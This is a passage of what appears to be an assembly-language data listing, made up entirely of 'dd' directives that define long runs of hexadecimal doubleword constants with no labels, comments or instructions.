dd 95015DDFh, 62E7A54Dh, 29E846Ch, 7F35CA99h, 0F07A291Ch
dd 6449D118h, 0BA0525C8h, 0EB27DD99h, 0F8E950A3h, 9B0B903Ah
dd 21B25CDh, 0E88F27D8h, 15D7E664h, 401A3CDCh, 0F8124E2Fh
dd 0B1935020h, 7DE88641h, 20F12B2Eh, 0D99BEC84h, 0DDF0C1BAh
dd 4B443C29h, 8993ACE8h, 0C7D43C3Ch, 0CD40BF91h, 399E55Ah
dd 0D1E42BD9h, 9FC13AC4h, 948C706Ch, 0E33B9117h, 8F569000h
dd 0F95AD2B4h, 9A508005h, 21C03EDAh, 0C09FF73Ah, 27E07436h
dd 50A424D9h, 0CC8B61Ah, 68C2F17Fh, 54F5FBEh, 0D43C90A2h
dd 80342EE8h, 1E3AC08Dh, 0E850BE9Fh, 8D825D68h, 0FBF024C6h
dd 91BB8290h, 0F0801B27h, 79A3BE71h, 9D00BAE8h, 93F124C0h
dd 0CEE639CBh, 0CDE11A21h, 0D1EE1E2Bh, 19C8473Eh, 0B3AD30C3h
dd 63B313E0h, 38358084h, 93CF102Fh, 0EB2BC69Ch, 94F8E8BEh
dd 0E328AF6Bh, 0C088A160h, 0DC001C21h, 0B494E72Ch, 0C9E800A0h
dd 0DEECF125h, 0C3FEE6E8h, 0DD12B89Ch, 0A9F2E098h, 80444FC4h
dd 0D2858C21h, 0EE92F839h, 2CEF540Fh, 14DED841h, 0DC9EF03Ah
dd 4F932874h, 0A3D883D0h, 3DB0C0E3h, 0C6EE26E4h, 62283C04h
dd 0CEEC0180h, 0A475A33Ah, 0CDB04238h, 60D2F0A6h, 51C2E917h
dd 0C304DCCCh, 3FD1D028h, 5225E920h, 0DC5358DFh, 0D696BD12h
dd 0C0163060h, 0D48CA32Eh, 83EF1236h, 0EC440AC6h, 644C69F4h
dd 0CD92F09Eh, 30832013h, 3E6CE01Eh, 0B89F6CF1h, 0C0D065E8h
dd 1A2717F0h, 0EBBFB4A8h, 953B0370h, 4E6746F2h, 69A21900h
dd 65F418D8h, 337B1975h, 34A4087Dh, 6100F390h, 9DC4ECD8h
dd 76686BBh, 0C8AE3129h, 4840D06Ch, 4544BE90h, 75F57EACh
dd 0FB71F4h, 71CDAF17h, 0B4C8C65Ch, 58307463h, 27913E81h
dd 4702181Fh, 0C769BFECh, 0DB0FC09Bh, 0A1707147h, 0EB363F00h
dd 0A2843218h, 427C1698h, 661CCCh, 484386D4h, 0D61825F1h
dd 0B307FA3h, 609569B4h, 7AEAF382h, 2078415Fh, 807CE1C4h
dd 0EB0F92C8h, 38D4D23Eh, 149E7E20h, 209041ABh, 18E271F1h
dd 8D9113D7h, 0D170A41Bh, 0E0013270h, 4FDB3D38h, 8985570h
dd 4A7C21D5h, 69002CE0h, 71A94344h, 3FC6EF6h, 0A5A8F238h
dd 4AF29F8Fh, 522DCCA0h, 0F60310B1h, 73C8689Ch, 345B088h
dd 5CE8C3ABh, 4EB1AE8Ch, 0C8904ABBh, 42616C50h, 0AAF22409h
dd 0D4007D12h, 0C049963Eh, 4E401CA6h, 424120E9h, 1C5D8481h
dd 0E1A40070h, 446DD632h, 61C7BBC2h, 48250236h, 73CBA003h
dd 0A85EC238h, 0B808C008h, 0B931BD63h, 11A1A0C8h, 0BEF888CDh
dd 39D12C37h, 54E04ED8h, 0BB48253Ah, 0E60A940Ah, 86C41C69h
dd 0F1898A0Ch, 83025Ch, 417C9A84h, 1730EDh, 6816DBD3h
dd 53BE224Eh, 0D0A861C0h, 0F0B138F3h, 2CCD1E7Eh, 0A9CB4007h
dd 27B9C7B8h, 0A490DA28h, 9587E900h, 1E31366Ah, 0A0DC30FAh
dd 6E34CD80h, 91CC4F50h, 0E74ED12h, 0DBF3472h, 0E5AC1C38h
dd 0E250E749h, 0C2E028A1h, 1D301002h, 0A8FF00CCh, 948BB2ADh
dd 549173C2h, 6D18AAD1h, 7D03B479h, 69CF33B1h, 0E7790063h
dd 8729C6B2h, 19005C47h, 551509A7h, 73D01B7Ch, 49A46069h
dd 6A652889h, 0EC38E71Ch, 7A41D55Dh, 1934154Bh, 47BE8041h
dd 0AA072310h, 0D393AC1Fh, 88B34B40h, 4970C2D2h, 97EC140Dh
dd 160E2446h, 13419E64h, 80BF6A43h, 41C045A9h, 3124DA9h
dd 7AF615EAh
dd 29D82876h, 0FC704AC8h, 1D39CA18h, 30A2E470h, 49B97D1Ah
dd 7B4CE8CFh, 0D136026Ch, 48180CC1h, 24333210h, 5408CE75h
dd 1110A943h, 0C8C9044Ah, 0C4848CCCh, 0DCD0F404h, 4C22D49Eh
dd 0C1082087h, 30EECF10h, 0B8DE605Dh, 78F01838h, 69D40AC9h
dd 18DDA04Eh, 467E18h, 5347D944h, 6E92E3E7h, 70B25612h
dd 0BEF045FAh, 0DD8C4046h, 0C2E43725h, 0FC8AA725h, 0EEF560E8h
dd 2A30FA02h, 54FB1009h, 4D492822h, 0B2111FD4h, 3F513139h
dd 0C460DEC8h, 909AAACEh, 3A644944h, 0E9922A6Bh, 2430FFE4h
dd 129FDAB9h, 30214F90h, 0F5864E30h, 4CB5202h, 40DB1E82h
dd 4BC9B719h, 0C08CFC7Fh, 404ACC1Ch, 0FC304B84h, 9009C3Ch
dd 6916E042h, 604FCD0h, 6A2C36B8h, 9020B1h, 0D17820h, 353F60E2h
dd 6653CBA7h, 951958A0h, 8B209D05h, 0B80A3677h, 0FEA5C0D4h
dd 0E9836054h, 5BE6C026h, 3301C101h, 4E7A2C4Ch, 1CA468A3h
dd 0C0A06E2h, 0E15338A2h, 14C20C58h, 58412802h, 72C0D0E0h
dd 0D0F350DDh, 0D11D801h, 8853F7A7h, 0FF681820h, 0A18F440h
dd 434814h, 647765A2h, 8FC701BCh, 2475E525h, 0FCD5F1D9h
dd 7F1403E7h, 80E05ABFh, 940E9271h, 0AFE3061Eh, 8BB16BEh
dd 5A218D60h, 75180E8Ah, 5F7B031Fh, 0A6449F2h, 0D02CC018h
dd 0ECA2E9h, 36F73797h, 8868D874h, 0C829CA2h, 4E7549C6h
dd 46789068h, 0B37388Ch, 1C2538E1h, 0E07B7ACCh, 0BA600085h
dd 3EEED9Dh, 0A13F6F79h, 38F161E3h, 0E7E57ACAh, 0E8910421h
dd 0E1980BCh, 8C8B1E67h, 5B8944h, 0E3C30E91h, 843A72B9h
dd 810CC748h, 0D41E25B3h, 74102422h, 3C0806A6h, 3818A46Eh
dd 0A818C65Fh, 85D9E066h, 86607C05h, 2414C584h, 45AA11A4h
dd 553B1453h, 48DEE21Ah, 8DD0BCB3h, 0D0C5E0E1h, 2442FD84h
dd 46A1CE24h, 0A3D4406Ch, 0F24DC70h, 0BFC058E5h, 0C133B2h
dd 848B6DE9h, 0A2454C8h, 6A85A342h, 0B5B840B8h, 20C03805h
dd 79EEA16h, 9B04C400h, 0ADC234E5h, 60A964E4h, 0E4A0C9ADh
dd 57B9826h, 0B962B3EBh, 0DEE44F7Ah, 0C649FE20h, 95321E8Fh
dd 0C84D09C1h, 5A3BE1Ch, 0BC6467CFh, 98800468h, 0F2940219h
dd 8F9C5141h, 0F4C4D86Ah, 79637Dh, 0D8628221h, 17AA3078h
dd 39FF3Fh, 2690897Ah, 95093Bh, 0CA0B20F9h, 22CF4011h
dd 2F36E200h, 1297FA48h, 3B08005Eh, 0A33DA4CEh, 2760448Fh
dd 0B787338h, 0DD2B3E79h, 3FB4608Ch, 0AF07CD18h, 5FD61DEDh
dd 580A36h, 669B3630h, 0C4BB753Dh, 9369B904h, 57813A52h
dd 0D4D0265Fh, 0F7600616h, 1036270Ch, 684E7F00h, 0EBB9D8E1h
dd 3430CFB5h, 510B5018h, 6B0199FCh, 23FCC0FEh, 6C489D21h
dd 307B0685h, 305D03DEh, 9371CA00h, 0ECDB6E4Dh, 90D71BE6h
dd 21D608F4h, 0DCEC76B0h, 7FBD8106h, 3A485B44h, 74807870h
dd 0A9EED62h, 50F9F9A8h, 16A4D098h, 0D6BD8A01h, 0C6B55DB7h
dd 212C0898h, 1600DCF6h, 0C959420Eh, 3B5FFA3h, 79370413h
dd 600324E8h, 32EA1180h, 0AAD900D6h, 60A27BB7h, 619D46Ch
dd 0E4089C5Bh, 8F942181h, 30B06B7Bh, 0BD1EACFAh, 5482C0C2h
dd 0A20DC8B9h, 80AF889Ch, 55EAAA8h, 548718BDh, 0C4447042h
dd 39440091h, 0AEC21340h, 5CF6589Fh, 0C4A025E8h, 38399888h
dd 43BF0BD1h, 4A05DF71h, 18F431CAh, 88831010h, 3730Ch
dd 0ACC6BF0Bh, 0A3F96015h, 5FDF5C09h, 90C24C4h, 9701C240h
dd 0C2F1AB34h, 60A9B084h, 23B516A5h, 2911DEBDh, 16DDFB01h
dd 0D0451839h, 0F065FBAh, 0FA9DDF63h, 959A0368h, 0C3B91ECDh
dd 0CE2080FCh, 9D01CF60h, 0A35FD915h, 82D88351h, 0C50F0690h
dd 28C0F5A9h, 2700452h, 63288B9Ah, 5AB4B0BCh, 0C9FD30A9h
dd 0F82B0230h, 45993D60h, 86899Eh, 0E1A68A47h, 876495EEh
dd 1A82055h, 40A4C8h, 6899DCDBh, 0C0CC68E1h, 8714A897h
dd 98852100h, 0A26380B3h, 60DEE2DAh, 9FBD693Ah, 54927249h
dd 0E6A5D8F1h, 75AB90C0h, 29AF71AAh, 30F0D9DAh, 35FFF0C8h
dd 0C75EAC06h, 878E225h, 283287A1h, 487C1001h, 2020CB20h
dd 8FDB0AB6h, 80D80718h, 921D6DEBh, 3D0C8793h, 8978C34h
dd 20DB6019h, 0B412A5C9h, 7E634B01h, 70CB23B5h, 2008F09Dh
dd 8A0A4A1Ch, 0C0DFF848h, 8BB4696h, 449469C1h, 98432EABh
dd 950BF79h, 2697A3A8h, 513473CDh, 8100D318h, 0FC5E2F83h
dd 0E22B8839h, 0B6532E12h, 20F50063h, 937543AEh, 0B1F01D77h
dd 0C4A17CA4h, 8B418E9h, 6460A17Bh, 9744E7C4h, 0EA5C08Ch
dd 0B328B913h, 9628BCD9h, 6891890Ch, 77549502h, 0D81840D6h
dd 3EF8A351h, 33109428h, 0A37F003Bh, 0CDDF1505h, 0FBD0C1F1h
dd 34106111h, 0ECF3794Ch, 9A09D185h, 82097644h, 94725450h
dd 9AA0A184h, 1648A218h, 0A0C62438h, 0F0402EC4h, 13A116DAh
dd 0C49ACB01h, 0C7CF5551h, 3328D033h, 0DBB80078h, 440C3DFFh
dd 2A0FA541h, 0F8515Eh, 641D37C9h, 88E20032h, 0C7416F11h
dd 5CF88B75h, 0EEECA608h, 123E1093h, 2821B446h, 5BD44945h
dd 24FE98B1h, 13CC0DF1h, 0ED6214B0h, 30651448h, 0F4F04257h
dd 4C6A532Ch, 9A052462h, 44A8075Fh, 810448F7h, 0C2C29590h
dd 0A0BC81DCh, 10ECABB8h, 0F4085045h, 1E420327h, 0DBB5307Ah
dd 707098CCh, 93ED1D08h, 401FC49Fh, 3812A8CCh, 0E7010052h
dd 6997DE87h, 21008B94h, 9CF655EDh, 51A5A916h, 6091A0ACh
dd 1D6C808Ch, 437F9391h, 418223Ch, 3612A4C8h, 0DDD0814Ch
dd 4884514h, 14298A0h, 0C3A138A5h, 81DC5435h, 8C271516h
dd 6304D4D5h, 0C8E759C7h, 9DE6F15Ch, 5344010Ah, 9000902Bh
dd 1E4BB207h, 2864F88Dh, 9894D04Fh, 0FDB4698h, 48734DE8h
dd 4075C4F4h, 874DE051h, 88481DE2h, 0A5D9407Ah, 3A37E1Fh
dd 1DD05E0Ch, 3BF90Fh, 0BB808232h, 0D8A2276Ch, 8C660A3Bh
dd 0D841907Fh, 153DFACAh, 0F0770C8Eh, 0E3841100h, 4AA382ABh
dd 3F03131Ah, 0B708C078h, 2C9080E2h, 940C312h, 0DF6BB802h
dd 88417D73h, 0B2083E8h, 0D5E04E86h, 82A1203Dh, 560C2820h
dd 970A84DAh, 2CE56A4Dh, 0EF9E701Ch, 58CFC8ECh, 0A900B07Fh
dd 8F4BE70Ah, 700931Bh, 0FAB2952Ah, 502B5448h, 909EB8C7h
dd 7A446D8h, 0BDB616A0h, 402DC428h, 0A216D8FAh, 0D76E02F0h
dd 0D4355520h, 1FC7FCA0h, 78E0F3F5h, 23037502h, 0A0161DCDh
dd 39A242C0h, 289802D0h, 5E9A6E78h, 0A90518CCh, 0F491FA58h
dd 3820D499h, 0E42548ABh, 0E5118109h, 7B8890B0h, 8460A511h
dd 9B87AE88h, 31707B80h, 0EADBC13h, 8C8561D3h, 11E00D60h
dd 0A0A85F59h, 2B13B57Fh, 0C802EC72h, 1D3A122Dh, 0D8EB191h
dd 87D047E1h, 0A8A0C7E4h, 24380958h, 9938505Ah, 59A76212h
dd 660CC204h, 40F2B4D1h, 0C92B2180h, 0BBA056A2h, 22D69200h
dd 0EB27E66h, 126F7682h, 493551DBh, 9001A530h, 82ADA171h
dd 3B570C10h, 49506830h, 20D94162h, 48C8E04h, 93971D6Ah
dd 201F624Fh, 7E12A2CAh, 52795A00h, 7668C81Bh, 5CEF0C7Ah
dd 8F603CD3h, 1AE0E561h, 70C25Ah, 330CF460h, 0B9812C53h
dd 6E8E4FCCh, 5712835Ch, 38E9064Eh, 0B8D635A9h, 22544A12h
dd 10D4C40Bh, 35A1DA3Ch, 220B953h, 0DD27FCCh, 6C882701h
dd 0C7612982h, 1842E379h, 8829E88Bh, 0D4B9DC22h, 0E70F0C20h
dd 71D28026h, 0D0BF8124h, 0CF52DD9Ch, 0CB14C5h, 0A1CF2AC8h
dd 93DA8EEAh, 7F02B9BEh, 3B754889h, 0A8C23452h, 0F005D7h
dd 7E1638B0h
dd 325BC0Ch, 1E1F3942h, 79E6FB4Dh, 862B0F00h, 0D7156533h
dd 0CB0278E4h, 0C9593A9h, 3FE4E4AFh, 50D8470Ah, 0FC00F177h
dd 2F403F0Ch, 49970A8Fh, 4C9CC354h, 2B67F869h, 7E818EA9h
dd 61E4B3E4h, 8DD20E9Ch, 0F48387EDh, 0BBB29BBh, 94719088h
dd 988074B2h, 41CF34DCh, 8B2484E0h, 0F811E8A6h, 0B2FF0022h
dd 594CBBFEh, 9C0F0063h, 0B68BE4AAh, 0DF00831Ch, 0C5F62693h
dd 0F9440B67h, 13381064h, 57B85BB9h, 60782790h, 9E72D917h
dd 0DE33F718h, 0FB880ED1h, 0D6B0D0h, 0DDA5C7B6h, 0F82B01B1h
dd 0F6893860h, 6A3E74h, 23E87CBCh, 25948FA3h, 348CB096h
dd 98DD280Ch, 183860B5h, 0EA39F75Fh, 54B5D8A0h, 7BF8BB0Bh
dd 292889EFh, 0C49C4548h, 0EA7F60E7h, 2038987Eh, 0D43267F7h
dd 6403703Eh, 35BB0010h, 0E09FD9FFh, 7246495h, 554EA827h
dd 11A903C4h, 884B106Ah, 1BD2D5Ah, 0F6FDAABh, 472F1F67h
dd 1F078418h, 9AF5EC6h, 7FA313D1h, 7B008150h, 0BC2C3880h
dd 0A43D1h, 6686ECA1h, 15BD4F9h, 0F5DF3B52h, 45D88364h
dd 894481D8h, 402209E9h, 8730E5E2h, 565D0115h, 0B025C29Fh
dd 0B4291Dh, 7E6EB568h, 0B0DC5AFDh, 0BB061F66h, 5DF6C709h
dd 0D75E602Ch, 40981661h, 178D950Ah, 215C7444h, 6E890B29h
dd 1B7483BCh, 0E4CCECD4h, 0AA5B0C7Ah, 72588DCFh, 7B199063h
dd 0F0F0743Bh, 8BB1CBB3h, 38216C00h, 0E05C5FD4h, 348F2E7Ch
dd 1F15DCA6h, 0D0492CECh, 6D8998C1h, 9064D745h, 23D60E3h
dd 1774185Ch, 49327744h, 0DB846024h, 468B241h, 23976496h
dd 9FA3B100h, 903291h, 8D20D8B0h, 0FF950CEEh, 0DDC8292Bh
dd 0F8EBD22Ah, 28D114B1h, 0A713CB18h, 38C077DEh, 3E6817ACh
dd 6100451Eh, 0AF556D1Ch, 8F00CAEAh, 76AEF28Ch, 2CA95Dh
dd 72940D1Ah, 3F8E621Eh, 166CA3Bh, 40C4CD8h, 5AD4C561h
dd 17F765Eh, 0F3182E9Bh, 0D47E9FF9h, 28986C06h, 0A7196207h
dd 5582FD95h, 0E04EC344h, 60361CCBh, 0C83881D1h, 92FABF4h
dd 5776D5h, 6E8A2C88h, 0B1033BC3h, 0DF8FEEC0h, 0B78001ABh
dd 0F76FEC7Fh, 5C1080C2h, 5DB12E36h, 79580D38h, 0CD60D86Ch
dd 2C08967Dh, 985A8700h, 9761E9h, 1E5FE0E2h, 4CEEE563h
dd 0CC188E61h, 9180C335h, 0C659B9DFh, 62E0A548h, 0DC0998E1h
dd 7B1BF21h, 199DB259h, 0BA47E152h, 6CB4ECA1h, 0D0FF8F15h
dd 443C0D94h, 0A002F0F2h, 540C8193h, 0A0400D90h, 156D24E6h
dd 0A4D2E8CFh, 84F3418h, 54E4371Ch, 0A20E000h, 45B3E9AAh
dd 7DE7085h, 0BD07553h, 8BF6E049h, 0C30067C2h, 621044DAh
dd 7C1C563h, 7239229Ch, 88518D93h, 12EBF090h, 697906C4h
dd 7F00D06Dh, 8C8DD113h, 7E70E004h, 4FD91451h, 0B840A034h
dd 0C061ECB4h, 26188D49h, 0B06D6C2h, 3DE2085h, 21876008h
dd 7926109Eh, 6858560Fh, 0C8C60A09h, 7E04C86h, 442C87F8h
dd 18636088h, 4571FCh, 97F867B6h, 198F052Ah, 0F3E440FBh
dd 41E9E0DAh, 80573408h, 6EFC2C41h, 0FEAB52E2h, 384E0084h
dd 0DD995BD5h, 2A1491BBh, 61C6D85h, 89BCD293h, 0E84C0910h
dd 68076BFBh, 83F8C391h, 5A1E1870h, 0A400696Ah, 0F590DECCh
dd 0F7112B9Dh, 445601F8h, 1860FAA0h, 155D40CAh, 0F087F407h
dd 119776Fh, 6B67CDCCh, 5C247F00h, 0EF34100h, 0B582F2B6h
dd 54D70C65h, 0B950FF9Ch, 20616C07h, 23369FF0h, 34D60940h
dd 3C20F3CCh, 323E5D4Bh, 0E5009090h, 0AD42AE4h, 6ABA97EEh
dd 8CCA0DEh, 4C0CFB54h, 3F61781Dh, 9F3BEDB5h, 0E8492884h
dd 0B2E89007h, 3D900F5Dh, 60FC29CFh, 0A193B982h, 9B6532A3h
dd 68480F09h, 82128DDCh, 4004F2FFh, 0C91E40h, 9841089h
dd 52C0080Ch, 65547D44h, 4B1E1A4h, 40724DCCh, 0CCDA9365h
dd 0F0CE8064h, 0D8B044A3h, 0F090BC95h, 2092C430h, 481FF048h
dd 15269079h, 0BEB10029h, 19BB99DEh, 6998249Ah, 922CAF4Ch
dd 0CA233404h, 3A4AC300h, 0A8505EB1h, 48C27CD0h, 68DCF325h
dd 0A8726820h, 5CCD38D4h, 2005091h, 8A80EED2h, 0C23CA443h
dd 0F0C98F9Ah, 0D3415867h, 0D16662A0h, 3C6CCB61h, 0C759BC04h
dd 0DB62AD48h, 59B4C020h, 930D2CD4h, 8BA9004Dh, 0F84B34ABh
dd 6083DD30h, 0C3DA8033h, 664A5C30h, 91C7A100h, 0A0214B0Dh
dd 71B9372Ah, 13D8C080h, 80283CE0h, 0B0E4C40Bh, 0B60F8600h
dd 33381D91h, 946D5414h, 0DAD640B2h, 6CF45C13h, 50623400h
dd 24E617C9h, 80788B67h, 0CC7AF36Dh, 20A73790h, 0C077E108h
dd 0EA156D72h, 88CF612Bh, 0CB59C001h, 0D718CD48h, 0B80488h
dd 0F59A7459h, 813EDDD4h, 0BAB12603h, 0A05243E4h, 78D8CAD5h
dd 0A52B1E3Fh, 0C3DFCE34h, 4086401Dh, 8C8BE887h, 241B9CA1h
dd 5C29C924h, 0E1039C4Bh, 0D918EE37h, 2FC94564h, 0EFF4F3F0h
dd 7D150C32h, 0E24ECA6h, 30171F94h, 9B11B410h, 6D5C6801h
dd 601BD835h, 0B6AA7425h, 8C9050BCh, 44D9449Ah, 48292720h
dd 181834B1h, 0F87E6876h, 1180AD76h, 6EF4002Dh, 0E84D4591h
dd 0CC905FA3h, 936CCC18h, 0F181E660h, 426020h, 0C9B21399h
dd 0A76E9E2Ah, 24CC68D5h, 0CC08FC1Ch, 25880CECh, 65789919h
dd 2412D603h, 2A19C045h, 3C886420h, 416A9572h, 0BD290190h
dd 6BE2C026h, 8C56F9A1h, 7A9F2228h, 36BAACA1h, 261E02F4h
dd 31FBD6BCh, 16A41053h, 5E4B0526h, 92684C31h, 64C4332Ch
dd 0FDC6C900h, 20425793h, 8C7551EAh, 1A447841h, 3083E454h
dd 0E420DD93h, 1D20C681h, 86B0EC1Eh, 8E0E4C3h, 0A7217D60h
dd 0E6CD20CEh, 0F533D16h, 547DA82h, 0CC8EB314h, 8E022668h
dd 87D23E97h, 73579DA4h, 0CBF3EAC0h, 4C6E091Bh, 70912070h
dd 0F6C4E05Eh, 36F208A0h, 0C7200CB0h, 4CD63FDCh, 28BC0524h
dd 80E94D04h, 55E88C4Ch, 143B2C8Ch, 0C31F0087h, 0B7B14939h
dd 0C547E74h, 0C50077ECh, 18E6EEE0h, 486AFE7Ah, 378F239h
dd 878C790Ah, 982EE1FFh, 0A708E0C7h, 0E213026Bh, 44448144h
dd 93800D7Fh, 6645242Ah, 2F974384h, 2668304Ch, 1401DC95h
dd 8811F87Fh, 0C1564C34h, 0ACD4C6B1h, 0B012D0B3h, 44D75B09h
dd 947C287Ah, 80DC9D15h, 0EC1820C4h, 7E448CE0h, 20CC00A1h
dd 0A2D5CA9Bh, 7538C6D0h, 44400E18h, 28FB45DBh, 0C0922C08h
dd 0EC1D20C7h, 0AC3AB841h, 7AE5A81h, 0B0554560h, 2A595E95h
dd 9A0ECEFEh, 0BC8B50E5h, 0B5FFFA80h, 1805F317h, 3714E806h
dd 0B7008AF2h, 0A7759866h, 1EE03841h, 5481F0h, 0C5A3203Bh
dd 80034BDFh, 0FF5988EDh, 329E895h, 3B6A7006h, 4D61E856h
dd 0C9C35E20h, 33EE3B89h, 21001CB5h, 0B1C35646h, 172FE9Ah
dd 6C26F834h, 0C595898Bh, 0F654BB24h, 0C1B7937h, 9C985C1h
dd 1A10FC03h, 8D3E205Dh, 80CD08B0h, 5002A8C6h, 83E28166h
dd 89759078h, 280D348Dh, 515E6236h, 0E4C35930h, 224C4689h
dd 5141001Ah, 499BB9C3h, 0ED3325A7h, 52BA030h, 0D1B50969h
dd 0E74F051Bh, 35400CF2h, 4DA45019h, 11BD8B08h, 56775325h
dd 23060A50h, 0DFE031D8h, 607664B8h, 85B54FDAh, 0A10D2950h
dd 32084C1Eh, 4ACA0F81h, 99B1D3A5h, 10EDE74Ch, 40276291h
dd 0C4211B1h, 0F65F530h, 5062D1BFh, 0B02AB1B2h, 2B9D2933h
dd 84651BF5h, 2111CDBDh, 0BE4F22EDh, 0D2C11788h, 60FC68DAh
dd 386B1FB8h, 946118E2h, 5AA13269h, 2A1D15A9h, 502913D0h
dd 18197139h, 0D6BE00AFh, 0F48683Eh, 1FC00A8Bh, 0D9B58960h
dd 98599231h, 0C8888CFEh
dd 5DC3556Eh, 6C8991C3h, 0DD931D18h, 0CCF8AA00h, 2D19653h
dd 11C11FA1h, 0A9B1F5F9h, 1BA443FCh, 0B2C06853h, 42D33114h
dd 0B113B894h, 8B130C15h, 821411F1h, 5EE1810Eh, 0B95C62A9h
dd 23F9955Ch, 850F0C0Ah, 60E96B12h, 0EB500B0Dh, 5F07FE31h
dd 1F2BB3BCh, 0C4878681h, 55EE7ABBh, 262108D2h, 163F220h
dd 305F523Ch, 0FC27AFACh, 5056C0B1h, 1253B37Ch, 2102B966h
dd 3F4B316h, 0BD8C15F5h, 1E50832Dh, 71315019h, 80264421h
dd 0DC510844h, 7696EA34h, 81C05159h, 8A528DAh, 80031F31h
dd 70FE88BDh, 1126C86Ch, 5F303192h, 0D8159FE9h, 2541A816h
dd 3BBD8380h, 1E502831h, 81B38B19h, 26DB0B70h, 84271147h
dd 8D090567h, 7A0A0D01h, 0E992A64Ch, 2C76720h, 0A162072Fh
dd 5787048Ah, 8D59F6C9h, 14449DA7h, 48E84961h, 0A71FAC85h
dd 0EF5714AEh, 0E5BB21EEh, 4E19C8F9h, 8E1DB300h, 1B4B94C6h
dd 8077079Dh, 125F24C2h, 77830FE9h, 0C226C9BFh, 5162A037h
dd 46F14601h, 0C35A1C52h, 0C4548988h, 52424015h, 5841CFC3h
dd 11202C09h, 0CEE95729h, 60B80F00h, 1B418A1h, 0F4615F19h
dd 0C8D60E2Bh, 1D24649Bh, 0E9C34F59h, 653B0010h, 0C9D66382h
dd 0D50429E5h, 95EC6693h, 3E2D6781h, 29BA5660h, 42EF07CFh
dd 5A2C3F84h, 29F440D5h, 0B392DDEEh, 534CE938h, 301BE2CDh
dd 0DE011126h, 0B8A9DF33h, 0D448E9EAh, 0B35D06A7h, 7EC36FDAh
dd 0A650BE44h, 9A20008Ah, 98AEC347h, 74005B2Dh, 8FB14B5Ah
dd 24656A04h, 37A05F9Bh, 3A1099BCh, 5899F50Dh, 581CC63Fh
dd 44898AC3h, 504070D2h, 4583C31Fh, 5CC2C941h, 0FE86B23h
dd 3CF0EB7h, 2472498Dh, 493F85D3h, 0C33083D3h, 19C409FDh
dd 0E1CD0D86h, 0B1014830h, 5AD00087h, 0C4836118h, 0BD29101Fh
dd 8B9208E6h, 5BE8ED1Ch, 0CF506679h, 104439DDh, 12096275h
dd 7420111Dh, 0C2535019h, 7D3B83Eh, 4075760Ch, 9D148D17h
dd 58DB091h, 585BD3FFh, 8172262h, 0AD807820h, 0D281058Ch
dd 1C4E1002h, 0B75315C8h, 22C35B87h, 0DD475C89h, 0C3534303h
dd 0F16415BBh, 87117E2Ch, 0E0E92413h, 413F4D40h, 0EB900060h
dd 0E761B0F1h, 7D091792h, 10BD812Fh, 7F726FD3h, 446E9065h
dd 0A649B186h, 0E508C9Dh, 11F443ECh, 0EE46F50Dh, 780CCF40h
dd 2F3920C6h, 4F684402h, 0C096A318h, 91135953h, 38A7093Ch
dd 8BD00F21h, 342C59D8h, 43A43785h, 0CEB84A8Ah, 0CA930874h
dd 0BE65EB19h, 10C05B4Ah, 0AA4EBF52h, 5F445A13h, 0FCD76806h
dd 30691228h, 23903B03h, 17CB001Dh, 0FB93D83Ch, 0D10E6C0Bh
dd 9B90FD49h, 0FF003692h, 0EE603FA6h, 0F1254696h, 0C0581DA6h
dd 12D9533h, 5F8B1C7h, 15E89EFEh, 1048F42h, 2293995h, 4B5D85C7h
dd 0B221E6C2h, 0C32252BDh, 4FF26B2Ch, 62B1584h, 3D2F5AE9h
dd 7709C781h, 87962A87h, 0C5A72358h, 2A081CC5h, 156FA696h
dd 2463B3D5h, 61221BF9h, 2813982Ah, 441D2C25h, 6A91E878h
dd 0C679E700h, 0F0A31Dh, 0CCAA8D8Ah, 0C9E4CD65h, 0C10FCB04h
dd 12C090E1h, 48D0A8D9h, 0AB2C915Fh, 125D6243h, 1E91D6C7h
dd 90C23E63h, 22D58BEDh, 79ACB017h, 0BDCDC20Dh, 9322289Dh
dd 0F7810211h, 2DFE940h, 4694FF6h, 0C0F8B16h, 0B9C03956h
dd 1819D18Fh, 0A199049Ch, 0CF0178D7h, 0FED4C86Eh, 0CEF4D442h
dd 0C01888F1h, 0E45DDE53h, 15B19900h, 5C01F181h, 0E92134F6h
dd 0C3A5C079h, 3A00D7E3h, 5EBAFA39h, 0C01A91D8h, 0F6B966E0h
dd 0CDB06831h, 95EC47B0h, 0D90AD924h, 0B715BA40h, 0E6B6816h
dd 1B465C53h, 1F18C200h, 0E4D73DFEh, 0DA808B09h, 0C90E82BAh
dd 0D0B67309h, 360177B2h, 9D7F8ACAh, 7C23C433h, 0AABAC00Fh
dd 70846B40h, 0AB00A673h, 472E3996h, 28D9E997h, 20CB460Dh
dd 5F4A143Dh, 83047348h, 1147BF66h, 892F2624h, 1A810F8Bh
dd 396582B4h, 31BA001Ch, 4E317F6Fh, 0BE8D061h, 3AA22980h
dd 0B6645E26h, 0B2E59804h, 0E981B4D0h, 5A03011Dh, 814E3264h
dd 0C1A0514Eh, 126305Dh, 6FC21CCh, 590C61E9h, 0FC6F08B8h
dd 5B01A70Fh, 12ED9FC6h, 9D846A66h, 70AD195h, 26799D89h
dd 2E7A61BFh, 50612649h, 0A525BD01h, 163A2F20h, 1723B33Ah
dd 8C9D5F0Eh, 0CB942F1h, 2D78F93Ch, 560E90Eh, 3975222Bh
dd 68A31A83h, 3D5AC4FFh, 4B179120h, 5FB840E9h, 0D9CCBE65h
dd 0BAB54A00h, 5EA2C24Dh, 0ADFC0248h, 61737809h, 4E91B065h
dd 6357C664h, 89A6135Fh, 87CB7Ch, 0A4C35747h, 7F5BC109h
dd 680FE228h, 20C41F8Eh, 0F38C209Bh, 82FE98B0h, 0F6EDCBA4h
dd 290A27C4h, 6810F995h, 9912CD68h, 9962D5C8h, 0C01D94B7h
dd 318E88Ah, 83AE9C60h, 0D2925890h, 0EFE4BB07h, 1CD39D1Ah
dd 82B88A7Fh, 42A959Dh, 0A176E05Fh, 6748244Fh, 0BA66822Fh
dd 0BF4294EEh, 8098B55Ah, 0B7D80345h, 118591D3h, 0E181000Eh
dd 6AE82064h, 22504AE9h, 8F41D616h, 8F2F5133h, 5872BD39h
dd 0B4BDC88Dh, 6094E476h, 0F840A49Ch, 1F1132BAh, 41CA64B2h
dd 7FDD7883h, 87E52C76h, 4A90C1C5h, 9FD977Bh, 619874E1h
dd 81884DC5h, 106A022Dh, 0D4592B5h, 57281A91h, 81AD7DBAh
dd 0F5EC585Fh, 2B15E92Ah, 0D9107D29h, 0B5C28947h, 0DC840B1Bh
dd 0F290F250h, 0F1E3014h, 818F8D48h, 74B34AB9h, 49AEC8E2h
dd 0AE3AC53h, 12F58D0Bh, 72E849AAh, 0CC0AD281h, 8D29BCB0h
